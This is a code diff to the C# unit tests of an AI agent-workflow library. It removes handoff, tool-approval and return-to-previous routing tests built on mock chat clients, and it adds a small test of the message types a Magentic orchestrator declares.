-        (string updateText, List<ChatMessage>? result, _, _) = await RunWorkflowAsync(workflow, [new ChatMessage(ChatRole.User, "abc")]);
-
-        Assert.Equal("Hello from agent3", updateText);
-        Assert.NotNull(result);
-
-        // User + (assistant empty + tool) for each of first two agents + final assistant with text.
-        Assert.Equal(6, result.Count);
-
-        Assert.Equal(ChatRole.User, result[0].Role);
-        Assert.Equal("abc", result[0].Text);
-
-        Assert.Equal(ChatRole.Assistant, result[1].Role);
-        Assert.Equal("", result[1].Text);
-        Assert.Contains("initialAgent", result[1].AuthorName);
-
-        Assert.Equal(ChatRole.Tool, result[2].Role);
-        Assert.Contains("initialAgent", result[2].AuthorName);
-
-        Assert.Equal(ChatRole.Assistant, result[3].Role);
-        Assert.Equal("", result[3].Text);
-        Assert.Contains("secondAgent", result[3].AuthorName);
-
-        Assert.Equal(ChatRole.Tool, result[4].Role);
-        Assert.Contains("secondAgent", result[4].AuthorName);
-
-        Assert.Equal(ChatRole.Assistant, result[5].Role);
-        Assert.Equal("Hello from agent3", result[5].Text);
-        Assert.Contains("thirdAgent", result[5].AuthorName);
-    }
-
-    [Fact]
-    public async Task Handoffs_TwoTransfers_SecondAgentUserApproval_ResponseServedByThirdAgentAsync()
-    {
-        var initialAgent = new ChatClientAgent(new MockChatClient((messages, options) =>
-        {
-            ChatMessage message = Assert.Single(messages);
-            Assert.Equal("abc", Assert.IsType<TextContent>(Assert.Single(message.Contents)).Text);
-
-            string? transferFuncName = options?.Tools?.FirstOrDefault(t => t.Name.StartsWith("handoff_to_", StringComparison.Ordinal))?.Name;
-            Assert.NotNull(transferFuncName);
-
-            // Only a handoff function call.
-            return new(new ChatMessage(ChatRole.Assistant, [new FunctionCallContent("call1", transferFuncName)]));
-        }), name: "initialAgent");
-
-        bool secondAgentInvoked = false;
-
-        const string SomeOtherFunctionCallId = "call2first";
-
-        AIFunction someOtherFunction = new ApprovalRequiredAIFunction(AIFunctionFactory.Create(SomeOtherFunction));
-
-        var secondAgent = new ChatClientAgent(new MockChatClient((messages, options) =>
-        {
-            if (!secondAgentInvoked)
-            {
-                secondAgentInvoked = true;
-                return new(new ChatMessage(ChatRole.Assistant, [new FunctionCallContent(SomeOtherFunctionCallId, someOtherFunction.Name)]));
-            }
-
-            // Second agent should receive the conversation so far (including previous assistant + tool messages eventually).
-            string? transferFuncName = options?.Tools?.FirstOrDefault(t => t.Name.StartsWith("handoff_to_", StringComparison.Ordinal))?.Name;
-            Assert.NotNull(transferFuncName);
-
-            return new(new ChatMessage(ChatRole.Assistant, [new FunctionCallContent("call2", transferFuncName)]));
-        }), name: "secondAgent", description: "The second agent", tools: [someOtherFunction]);
-
-        var thirdAgent = new ChatClientAgent(new MockChatClient((messages, options) =>
-            new(new ChatMessage(ChatRole.Assistant, "Hello from agent3"))),
-            name: "thirdAgent",
-            description: "The third / final agent");
-
-        var workflow =
-            AgentWorkflowBuilder.CreateHandoffBuilderWith(initialAgent)
-            .WithHandoff(initialAgent, secondAgent)
-            .WithHandoff(secondAgent, thirdAgent)
-            .Build();
-
-        CheckpointManager checkpointManager = CheckpointManager.CreateInMemory();
-        const ExecutionEnvironment Environment = ExecutionEnvironment.InProcess_Lockstep;
-
-        (string updateText, List<ChatMessage>? result, CheckpointInfo? lastCheckpoint, List<RequestInfoEvent> requests) =
-            await RunWorkflowCheckpointedAsync(workflow, [new ChatMessage(ChatRole.User, "abc")], Environment, checkpointManager);
-
-        Assert.Null(result);
-        Assert.NotNull(requests);
-
-        requests.Should().HaveCount(1);
-        ExternalRequest request = requests[0].Request;
-
-        ToolApprovalRequestContent approvalRequest =
-            request.Data.As<ToolApprovalRequestContent>().Should().NotBeNull()
-                                                              .And.Subject.As<ToolApprovalRequestContent>();
-
-        approvalRequest.ToolCall.CallId.Should().Be(SomeOtherFunctionCallId);
-
-        ExternalResponse response = request.CreateResponse(approvalRequest.CreateResponse(false, "Denied"));
-
-        (updateText, result, _, requests) =
-            await RunWorkflowCheckpointedAsync(workflow, response, Environment, checkpointManager, lastCheckpoint);
-
-        Assert.Equal("Hello from agent3", updateText);
-        Assert.NotNull(result);
-
-        // User + (assistant empty + tool) for each of first two agents + final assistant with text.
-        Assert.Equal(10, result.Count);
-
-        Assert.Equal(ChatRole.User, result[0].Role);
-        Assert.Equal("abc", result[0].Text);
-
-        Assert.Equal(ChatRole.Assistant, result[1].Role);
-        Assert.Equal("", result[1].Text);
-        Assert.Contains("initialAgent", result[1].AuthorName);
-
-        Assert.Equal(ChatRole.Tool, result[2].Role);
-        Assert.Contains("initialAgent", result[2].AuthorName);
-
-        // Non-handoff tool invocation (and user denial)
-        Assert.Equal(ChatRole.Assistant, result[3].Role);
-        Assert.Equal("", result[3].Text);
-        Assert.Contains("secondAgent", result[3].AuthorName);
-
-        Assert.Equal(ChatRole.User, result[4].Role);
-        Assert.Equal("", result[4].Text);
-
-        // Rejected tool call
-        Assert.Equal(ChatRole.Assistant, result[5].Role);
-        Assert.Equal("", result[5].Text);
-        Assert.Contains("secondAgent", result[5].AuthorName);
-
-        Assert.Equal(ChatRole.Tool, result[6].Role);
-        Assert.Contains("secondAgent", result[6].AuthorName);
-
-        // Handoff invocation
-        Assert.Equal(ChatRole.Assistant, result[7].Role);
-        Assert.Equal("", result[7].Text);
-        Assert.Contains("secondAgent", result[7].AuthorName);
-
-        Assert.Equal(ChatRole.Tool, result[8].Role);
-        Assert.Contains("secondAgent", result[8].AuthorName);
-
-        Assert.Equal(ChatRole.Assistant, result[9].Role);
-        Assert.Equal("Hello from agent3", result[9].Text);
-        Assert.Contains("thirdAgent", result[9].AuthorName);
-
-        static bool SomeOtherFunction() => true;
-    }
-
-    [Fact]
-    public async Task Handoffs_TwoTransfers_SecondAgentToolCall_ResponseServedByThirdAgentAsync()
-    {
-        var initialAgent = new ChatClientAgent(new MockChatClient((messages, options) =>
-        {
-            ChatMessage message = Assert.Single(messages);
-            Assert.Equal("abc", Assert.IsType<TextContent>(Assert.Single(message.Contents)).Text);
-
-            string? transferFuncName = options?.Tools?.FirstOrDefault(t => t.Name.StartsWith("handoff_to_", StringComparison.Ordinal))?.Name;
-            Assert.NotNull(transferFuncName);
-
-            // Only a handoff function call.
-            return new(new ChatMessage(ChatRole.Assistant, [new FunctionCallContent("call1", transferFuncName)]));
-        }), name: "initialAgent");
-
-        bool secondAgentInvoked = false;
-
-        const string SomeOtherFunctionName = "SomeOtherFunction";
-        const string SomeOtherFunctionCallId = "call2first";
-
-        JsonElement otherFunctionSchema = AIFunctionFactory.Create(() => true).JsonSchema;
-        AIFunctionDeclaration someOtherFunction = AIFunctionFactory.CreateDeclaration(SomeOtherFunctionName, "Another function", otherFunctionSchema);
-
-        var secondAgent = new ChatClientAgent(new MockChatClient((messages, options) =>
-        {
-            if (!secondAgentInvoked)
-            {
-                secondAgentInvoked = true;
-                return new(new ChatMessage(ChatRole.Assistant, [new FunctionCallContent(SomeOtherFunctionCallId, SomeOtherFunctionName)]));
-            }
-
-            // Second agent should receive the conversation so far (including previous assistant + tool messages eventually).
-            string? transferFuncName = options?.Tools?.FirstOrDefault(t => t.Name.StartsWith("handoff_to_", StringComparison.Ordinal))?.Name;
-            Assert.NotNull(transferFuncName);
-
-            return new(new ChatMessage(ChatRole.Assistant, [new FunctionCallContent("call2", transferFuncName)]));
-        }), name: "secondAgent", description: "The second agent", tools: [someOtherFunction]);
-
-        var thirdAgent = new ChatClientAgent(new MockChatClient((messages, options) =>
-            new(new ChatMessage(ChatRole.Assistant, "Hello from agent3"))),
-            name: "thirdAgent",
-            description: "The third / final agent");
-
-        var workflow =
-            AgentWorkflowBuilder.CreateHandoffBuilderWith(initialAgent)
-            .WithHandoff(initialAgent, secondAgent)
-            .WithHandoff(secondAgent, thirdAgent)
-            .Build();
-
-        CheckpointManager checkpointManager = CheckpointManager.CreateInMemory();
-        const ExecutionEnvironment Environment = ExecutionEnvironment.InProcess_Lockstep;
-
-        (string updateText, List<ChatMessage>? result, CheckpointInfo? lastCheckpoint, List<RequestInfoEvent> requests) =
-            await RunWorkflowCheckpointedAsync(workflow, [new ChatMessage(ChatRole.User, "abc")], Environment, checkpointManager);
-
-        Assert.Null(result);
-        Assert.NotNull(requests);
-
-        requests.Should().HaveCount(1);
-        ExternalRequest request = requests[0].Request;
-
-        FunctionCallContent functionCall = request.Data.As<FunctionCallContent>().Should().NotBeNull()
-                                                                                 .And.Subject.As<FunctionCallContent>();
-
-        functionCall.CallId.Should().Be(SomeOtherFunctionCallId);
-        functionCall.Name.Should().Be(SomeOtherFunctionName);
-
-        ExternalResponse response = request.CreateResponse(new FunctionResultContent(functionCall.CallId, true));
-
-        (updateText, result, _, requests) =
-            await RunWorkflowCheckpointedAsync(workflow, response, Environment, checkpointManager, lastCheckpoint);
-
-        Assert.Equal("Hello from agent3", updateText);
-        Assert.NotNull(result);
-
-        // User + (assistant empty + tool) for each of first two agents + final assistant with text.
-        Assert.Equal(8, result.Count);
-
-        Assert.Equal(ChatRole.User, result[0].Role);
-        Assert.Equal("abc", result[0].Text);
-
-        Assert.Equal(ChatRole.Assistant, result[1].Role);
-        Assert.Equal("", result[1].Text);
-        Assert.Contains("initialAgent", result[1].AuthorName);
-
-        Assert.Equal(ChatRole.Tool, result[2].Role);
-        Assert.Contains("initialAgent", result[2].AuthorName);
-
-        // Non-handoff tool invocation
-        Assert.Equal(ChatRole.Assistant, result[3].Role);
-        Assert.Equal("", result[3].Text);
-        Assert.Contains("secondAgent", result[3].AuthorName);
-
-        Assert.Equal(ChatRole.Tool, result[4].Role);
-        Assert.Contains("secondAgent", result[4].AuthorName);
-
-        // Handoff invocation
-        Assert.Equal(ChatRole.Assistant, result[5].Role);
-        Assert.Equal("", result[5].Text);
-        Assert.Contains("secondAgent", result[5].AuthorName);
-
-        Assert.Equal(ChatRole.Tool, result[6].Role);
-        Assert.Contains("secondAgent", result[6].AuthorName);
-
-        Assert.Equal(ChatRole.Assistant, result[7].Role);
-        Assert.Equal("Hello from agent3", result[7].Text);
-        Assert.Contains("thirdAgent", result[7].AuthorName);
-    }
-
    [Theory]
    [InlineData(1)]
    [InlineData(2)]
@@ -955,178 +263,8 @@ public class AgentWorkflowBuilderTests
        }
    }

-    [Fact]
-    public async Task Handoffs_ReturnToPrevious_DisabledByDefault_SecondTurnRoutesViaCoordinatorAsync()
-    {
-        int coordinatorCallCount = 0;
-
-        var coordinator = new ChatClientAgent(new MockChatClient((messages, options) =>
-        {
-            coordinatorCallCount++;
-            if (coordinatorCallCount == 1)
-            {
-                string? transferFuncName = options?.Tools?.FirstOrDefault(t => t.Name.StartsWith("handoff_to_", StringComparison.Ordinal))?.Name;
-                Assert.NotNull(transferFuncName);
-                return new(new ChatMessage(ChatRole.Assistant, [new FunctionCallContent("call1", transferFuncName)]));
-            }
-            return new(new ChatMessage(ChatRole.Assistant, "coordinator responded on turn 2"));
-        }), name: "coordinator");
-
-        var specialist = new ChatClientAgent(new MockChatClient((messages, options) =>
-            new(new ChatMessage(ChatRole.Assistant, "specialist responded"))),
-            name: "specialist", description: "The specialist agent");
-
-        var workflow = AgentWorkflowBuilder.CreateHandoffBuilderWith(coordinator)
-            .WithHandoff(coordinator, specialist)
-            .Build();
-
-        CheckpointManager checkpointManager = CheckpointManager.CreateInMemory();
-        const ExecutionEnvironment Environment = ExecutionEnvironment.InProcess_Lockstep;
-
-        // Turn 1: coordinator hands off to specialist
-        WorkflowRunResult result = await RunWorkflowCheckpointedAsync(workflow, [new ChatMessage(ChatRole.User, "book an appointment")], Environment, checkpointManager);
-        Assert.Equal(1, coordinatorCallCount);
-
-        // Turn 2: without ReturnToPrevious, coordinator should be invoked again
-        _ = await RunWorkflowCheckpointedAsync(workflow, [new ChatMessage(ChatRole.User, "my id is 12345")], Environment, checkpointManager, result.LastCheckpoint);
-        Assert.Equal(2, coordinatorCallCount);
-    }
-
-    [Fact]
-    public async Task Handoffs_ReturnToPrevious_Enabled_SecondTurnRoutesDirectlyToSpecialistAsync()
-    {
-        int coordinatorCallCount = 0;
-        int specialistCallCount = 0;
-
-        var coordinator = new ChatClientAgent(new MockChatClient((messages, options) =>
-        {
-            coordinatorCallCount++;
-            string? transferFuncName = options?.Tools?.FirstOrDefault(t => t.Name.StartsWith("handoff_to_", StringComparison.Ordinal))?.Name;
-            Assert.NotNull(transferFuncName);
-            return new(new ChatMessage(ChatRole.Assistant, [new FunctionCallContent("call1", transferFuncName)]));
-        }), name: "coordinator");
-
-        var specialist = new ChatClientAgent(new MockChatClient((messages, options) =>
-        {
-            specialistCallCount++;
-            return new(new ChatMessage(ChatRole.Assistant, "specialist responded"));
-        }), name: "specialist", description: "The specialist agent");
-
-        var workflow = AgentWorkflowBuilder.CreateHandoffBuilderWith(coordinator)
-            .WithHandoff(coordinator, specialist)
-            .EnableReturnToPrevious()
-            .Build();
-
-        CheckpointManager checkpointManager = CheckpointManager.CreateInMemory();
-        const ExecutionEnvironment Environment = ExecutionEnvironment.InProcess_Lockstep;
-
-        // Turn 1: coordinator hands off to specialist
-        WorkflowRunResult result = await RunWorkflowCheckpointedAsync(workflow, [new ChatMessage(ChatRole.User, "book an appointment")], Environment, checkpointManager);
-        Assert.Equal(1, coordinatorCallCount);
-        Assert.Equal(1, specialistCallCount);
-
-        // Turn 2: with ReturnToPrevious, specialist should be invoked directly, coordinator should NOT be called again
-        _ = await RunWorkflowCheckpointedAsync(workflow, [new ChatMessage(ChatRole.User, "my id is 12345")], Environment, checkpointManager, result.LastCheckpoint);
-        Assert.Equal(1, coordinatorCallCount); // coordinator NOT called again
-        Assert.Equal(2, specialistCallCount);  // specialist called again
-    }
-
-    [Fact]
-    public async Task Handoffs_ReturnToPrevious_Enabled_BeforeAnyHandoff_RoutesViaInitialAgentAsync()
-    {
-        int coordinatorCallCount = 0;
-
-        var coordinator = new ChatClientAgent(new MockChatClient((messages, options) =>
-        {
-            coordinatorCallCount++;
-            return new(new ChatMessage(ChatRole.Assistant, "coordinator responded"));
-        }), name: "coordinator");
-
-        var specialist = new ChatClientAgent(new MockChatClient((messages, options) =>
-        {
-            Assert.Fail("Specialist should not be invoked.");
-            return new();
-        }), name: "specialist", description: "The specialist agent");
-
-        var workflow = AgentWorkflowBuilder.CreateHandoffBuilderWith(coordinator)
-            .WithHandoff(coordinator, specialist)
-            .EnableReturnToPrevious()
-            .Build();
-
-        // First turn with no prior handoff: should route to initial (coordinator) agent
-        _ = await RunWorkflowAsync(workflow, [new ChatMessage(ChatRole.User, "hello")]);
-        Assert.Equal(1, coordinatorCallCount);
-    }
-
-    [Fact]
-    public async Task Handoffs_ReturnToPrevious_Enabled_AfterHandoffBackToCoordinator_NextTurnRoutesViaCoordinatorAsync()
-    {
-        int coordinatorCallCount = 0;
-        int specialistCallCount = 0;
-
-        var coordinator = new ChatClientAgent(new MockChatClient((messages, options) =>
-        {
-            coordinatorCallCount++;
-            if (coordinatorCallCount == 1)
-            {
-                // First call: hand off to specialist
-                string? transferFuncName = options?.Tools?.FirstOrDefault(t => t.Name.StartsWith("handoff_to_", StringComparison.Ordinal))?.Name;
-                Assert.NotNull(transferFuncName);
-                return new(new ChatMessage(ChatRole.Assistant, [new FunctionCallContent("call1", transferFuncName)]));
-            }
-            // Subsequent calls: respond without handoff
-            return new(new ChatMessage(ChatRole.Assistant, "coordinator responded"));
-        }), name: "coordinator");
-
-        var specialist = new ChatClientAgent(new MockChatClient((messages, options) =>
-        {
-            specialistCallCount++;
-            // Specialist hands back to coordinator
-            string? transferFuncName = options?.Tools?.FirstOrDefault(t => t.Name.StartsWith("handoff_to_", StringComparison.Ordinal))?.Name;
-            Assert.NotNull(transferFuncName);
-            return new(new ChatMessage(ChatRole.Assistant, [new FunctionCallContent("call2", transferFuncName)]));
-        }), name: "specialist", description: "The specialist agent");
-
-        var workflow = AgentWorkflowBuilder.CreateHandoffBuilderWith(coordinator)
-            .WithHandoff(coordinator, specialist)
-            .WithHandoff(specialist, coordinator)
-            .EnableReturnToPrevious()
-            .Build();
-
-        CheckpointManager checkpointManager = CheckpointManager.CreateInMemory();
-        const ExecutionEnvironment Environment = ExecutionEnvironment.InProcess_Lockstep;
-
-        // Turn 1: coordinator → specialist → coordinator (specialist hands back)
-        WorkflowRunResult result = await RunWorkflowCheckpointedAsync(workflow, [new ChatMessage(ChatRole.User, "book an appointment")], Environment, checkpointManager);
-        Assert.Equal(2, coordinatorCallCount); // called twice: initial handoff + receiving handback
-        Assert.Equal(1, specialistCallCount);  // specialist called once, then handed back
-
-        // Turn 2: after handoff back to coordinator, should route to coordinator (not specialist)
-        _ = await RunWorkflowCheckpointedAsync(workflow, [new ChatMessage(ChatRole.User, "never mind")], Environment, checkpointManager, result.LastCheckpoint);
-        Assert.Equal(3, coordinatorCallCount); // coordinator called again on turn 2
-        Assert.Equal(1, specialistCallCount);  // specialist NOT called
-    }
-
    private sealed record WorkflowRunResult(string UpdateText, List<ChatMessage>? Result, CheckpointInfo? LastCheckpoint, List<RequestInfoEvent> PendingRequests);

-    private static Task<WorkflowRunResult> RunWorkflowCheckpointedAsync(
-        Workflow workflow, List<ChatMessage> input, ExecutionEnvironment executionEnvironment, CheckpointManager checkpointManager, CheckpointInfo? fromCheckpoint = null)
-    {
-        InProcessExecutionEnvironment environment = executionEnvironment.ToWorkflowExecutionEnvironment()
-                                                                        .WithCheckpointing(checkpointManager);
-
-        return RunWorkflowCheckpointedAsync(workflow, input, environment, fromCheckpoint);
-    }
-
-    private static Task<WorkflowRunResult> RunWorkflowCheckpointedAsync(
-        Workflow workflow, ExternalResponse response, ExecutionEnvironment executionEnvironment, CheckpointManager checkpointManager, CheckpointInfo? fromCheckpoint = null)
-    {
-        InProcessExecutionEnvironment environment = executionEnvironment.ToWorkflowExecutionEnvironment()
-                                                                        .WithCheckpointing(checkpointManager);
-
-        return RunWorkflowCheckpointedAsync(workflow, response, environment, fromCheckpoint);
-    }
-
    private static async Task<WorkflowRunResult> RunWorkflowCheckpointedAsync(
        Workflow workflow, List<ChatMessage> input, InProcessExecutionEnvironment environment, CheckpointInfo? fromCheckpoint = null)
    {
@@ -1140,18 +278,6 @@ public class AgentWorkflowBuilderTests
        return await ProcessWorkflowRunAsync(run);
    }

-    private static async Task<WorkflowRunResult> RunWorkflowCheckpointedAsync(
-        Workflow workflow, ExternalResponse response, InProcessExecutionEnvironment environment, CheckpointInfo? fromCheckpoint = null)
-    {
-        await using StreamingRun run =
-            fromCheckpoint != null ? await environment.ResumeStreamingAsync(workflow, fromCheckpoint)
-                                   : await environment.OpenStreamingAsync(workflow);
-
-        await run.SendResponseAsync(response);
-
-        return await ProcessWorkflowRunAsync(run);
-    }
-
    private static async Task<WorkflowRunResult> ProcessWorkflowRunAsync(StreamingRun run)
    {
        StringBuilder sb = new();
@@ -1212,22 +338,4 @@ public class AgentWorkflowBuilderTests
            }
        }
    }
-
-    private sealed class MockChatClient(Func<IEnumerable<ChatMessage>, ChatOptions?, ChatResponse> responseFactory) : IChatClient
-    {
-        public Task<ChatResponse> GetResponseAsync(IEnumerable<ChatMessage> messages, ChatOptions? options = null, CancellationToken cancellationToken = default) =>
-            Task.FromResult(responseFactory(messages, options));
-
-        public async IAsyncEnumerable<ChatResponseUpdate> GetStreamingResponseAsync(
-            IEnumerable<ChatMessage> messages, ChatOptions? options = null, [EnumeratorCancellation] CancellationToken cancellationToken = default)
-        {
-            foreach (var update in (await this.GetResponseAsync(messages, options, cancellationToken).ConfigureAwait(false)).ToChatResponseUpdates())
-            {
-                yield return update;
-            }
-        }
-
-        public object? GetService(Type serviceType, object? serviceKey = null) => null;
-        public void Dispose() { }
-    }
 }
@@ -0,0 +1,26 @@
+// Copyright (c) Microsoft. All rights reserved.
+
+using System.Collections.Generic;
+using FluentAssertions;
+using Microsoft.Agents.AI.Workflows.Specialized.Magentic;
+using Microsoft.Extensions.AI;
+
+namespace Microsoft.Agents.AI.Workflows.UnitTests;
+
+public class MagenticOrchestratorTests
+{
+    [Fact]
+    public void Test_MagenticOrchestrator_Protocol_Declares_SentMessages()
+    {
+        TestReplayAgent manager = new(name: nameof(MagenticOrchestrator));
+        TestEchoAgent participant = new(name: "Echo");
+        MagenticOrchestrator orchestrator = new(manager, [participant], new(), requirePlanSignoff: false);
+
+        ProtocolDescriptor protocol = orchestrator.DescribeProtocol();
+
+        protocol.Sends.Should().Contain(typeof(List<ChatMessage>));
+        protocol.Sends.Should().Contain(typeof(ChatMessage));
+        protocol.Sends.Should().Contain(typeof(TurnToken));
+        protocol.Sends.Should().Contain(typeof(ResetChatSignal));
+    }
+}